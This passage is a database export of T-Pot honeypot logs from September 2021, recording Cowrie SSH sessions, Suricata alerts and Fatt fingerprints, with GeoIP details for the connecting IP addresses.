"t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	FR
35648	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 15:09:55.175378+03	2021-09-20 15:15:03.540691+03	{"_id": "iAYcA3wBvYTbRNuE3F3s", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 5.188.62.196:52550 (192.168.176.2:22) [session: 42fa89b39981]", "session": "42fa89b39981", "@version": "1", "protocol": "ssh", "src_port": 52550, "dest_port": 22, "timestamp": "2021-09-20T12:09:55.175378Z", "@timestamp": "2021-09-20T12:09:55.175Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	RU
35637	163.172.167.225	109.199.241.180	Suricata	2021-09-20 15:09:59.452042+03	2021-09-20 15:15:03.526691+03	{"_id": "uQYcA3wBvYTbRNuE7V2z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "163.172.167.225", "dest_ip": "192.168.20.116", "flow_id": 1812538376823391, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 37134, "dest_port": 22, "timestamp": "2021-09-20T12:09:59.452042Z", "@timestamp": "2021-09-20T12:09:59.452Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	FR
35638	163.172.167.225	109.199.241.180	Fatt	2021-09-20 15:09:59.03299+03	2021-09-20 15:15:03.52769+03	{"_id": "vAYcA3wBvYTbRNuE7l33", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "163.172.167.225", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 37060, "dest_port": 22, "timestamp": "2021-09-20T12:09:59.032990", "@timestamp": "2021-09-20T12:09:59.032Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	FR
35639	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 15:09:49.953436+03	2021-09-20 15:15:03.528689+03	{"_id": "aAYcA3wBvYTbRNuEyl2D", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:09:49.953436+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 157}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "UDP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0001:0002", "flow_id": 2173156715236444, "payload": "ATBu+AAIAAIYogABAA4AAQABKNeNKuj0CO/3CQADAAwH6PQIAAAAAAAAAAAAJwARAA9ERVNLVE9QLTBWUUQ2MUIAEAAOAAABNwAITVNGVCA1LjAABgAIABEAFwAYACc=", "@version": "1", "in_iface": "enp5s0", "src_port": 546, "app_proto": "failed", "dest_port": 547, "timestamp": "2021-09-20T12:09:49.953436Z", "@timestamp": "2021-09-20T12:09:49.953Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".0n...............(..*.......................'....DESKTOP-0VQD61B.......7..MSFT 5.0...........'"}}	1	\N	\N	alert	\N	\N
35640	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 15:09:51.499798+03	2021-09-20 15:15:03.529689+03	{"_id": "agYcA3wBvYTbRNuEzV1J", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.231.219.157", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "dfc4ecd070a9", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:09:51.499798Z", "@timestamp": "2021-09-20T12:09:51.499Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	RU
35641	91.231.219.157	109.199.241.180	Suricata	2021-09-20 15:09:51.603151+03	2021-09-20 15:15:03.531691+03	{"_id": "bAYcA3wBvYTbRNuEzl1s", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:09:51.393794+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "91.231.219.157", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1573134751695426, "payload": "AAADzAYUkXFHkVZSlQ7xjhqUDeEhRgAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 45326, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:09:51.603151Z", "@timestamp": "2021-09-20T12:09:51.603Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".......qG.VR......\\r.!F...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	RU
35642	91.231.219.157	109.199.241.180	Fatt	2021-09-20 15:09:51.603151+03	2021-09-20 15:15:03.53269+03	{"_id": "bQYcA3wBvYTbRNuEz11t", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "91.231.219.157", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 45326, "dest_port": 22, "timestamp": "2021-09-20T12:09:51.603151", "@timestamp": "2021-09-20T12:09:51.603Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	RU
35643	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 15:09:51.603771+03	2021-09-20 15:15:03.53369+03	{"_id": "dQYcA3wBvYTbRNuE0V0y", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "91.231.219.157", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "dfc4ecd070a9", "@version": "1", "timestamp": "2021-09-20T12:09:51.603771Z", "@timestamp": "2021-09-20T12:09:51.603Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	RU
35644	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 15:09:53.220616+03	2021-09-20 15:15:03.53569+03	{"_id": "dgYcA3wBvYTbRNuE1V0b", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.231.219.157", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "dfc4ecd070a9", "@version": "1", "duration": 1.721099853515625, "timestamp": "2021-09-20T12:09:53.220616Z", "@timestamp": "2021-09-20T12:09:53.220Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	RU
35645	80.158.23.146	109.199.241.180	Suricata	2021-09-20 15:09:53.851961+03	2021-09-20 15:15:03.536691+03	{"_id": "eQYcA3wBvYTbRNuE1l09", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:09:53.609266+0000", "pkts_toclient": 0, "pkts_toserver": 2, "bytes_toclient": 0, "bytes_toserver": 120}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "80.158.23.146", "asn": 3320, "as_org": "Deutsche Telekom AG", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "proto": "TCP", "src_ip": "80.158.23.146", "stream": 0, "dest_ip": "192.168.20.119", "flow_id": 395993737677810, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 80, "dest_port": 40162, "timestamp": "2021-09-20T12:09:53.851961Z", "@timestamp": "2021-09-20T12:09:53.851Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	DE
35646	80.158.23.146	109.199.241.180	Suricata	2021-09-20 15:09:54.122741+03	2021-09-20 15:15:03.53769+03	{"_id": "fAYcA3wBvYTbRNuE2l0n", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:09:53.609266+0000", "pkts_toclient": 0, "pkts_toserver": 4, "bytes_toclient": 0, "bytes_toserver": 240}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM RST recv but no session", "signature_id": 2210041}, "geoip": {"ip": "80.158.23.146", "asn": 3320, "as_org": "Deutsche Telekom AG", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "proto": "TCP", "src_ip": "80.158.23.146", "stream": 0, "dest_ip": "192.168.20.119", "flow_id": 395993737677810, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 80, "dest_port": 40162, "timestamp": "2021-09-20T12:09:54.122741Z", "@timestamp": "2021-09-20T12:09:54.122Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	DE
35647	80.158.23.146	109.199.241.180	Suricata	2021-09-20 15:09:54.18446+03	2021-09-20 15:15:03.53969+03	{"_id": "fQYcA3wBvYTbRNuE2l0n", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:09:53.609266+0000", "pkts_toclient": 0, "pkts_toserver": 7, "bytes_toclient": 0, "bytes_toserver": 420}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM RST recv but no session", "signature_id": 2210041}, "geoip": {"ip": "80.158.23.146", "asn": 3320, "as_org": "Deutsche Telekom AG", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "proto": "TCP", "src_ip": "80.158.23.146", "stream": 0, "dest_ip": "192.168.20.119", "flow_id": 395993737677810, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 80, "dest_port": 40162, "timestamp": "2021-09-20T12:09:54.184460Z", "@timestamp": "2021-09-20T12:09:54.184Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	DE
35649	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 15:09:55.259426+03	2021-09-20 15:15:03.54269+03	{"_id": "iwYcA3wBvYTbRNuE3F3s", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes128-gcm@openssh.com", "chacha20-poly1305@openssh.com", "aes128-ctr", "aes192-ctr", "aes256-ctr", "aes128-cbc", "3des-cbc", "arcfour", "arcfour128", "arcfour256"], "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "hassh": "eccf733a56108dec8ecc8efbc681be63", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512", "hmac-sha2-256", "hmac-sha1", "hmac-sha1-96"], "compCS": ["none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ssh-ed25519-cert-v01@openssh.com", "ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss", "ssh-ed25519"], "message": "SSH client hassh fingerprint: eccf733a56108dec8ecc8efbc681be63", "session": "42fa89b39981", "@version": "1", "timestamp": "2021-09-20T12:09:55.259426Z", "@timestamp": "2021-09-20T12:09:55.259Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256;hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none"}}	1	\N	cowrie.client.kex	\N	\N	RU
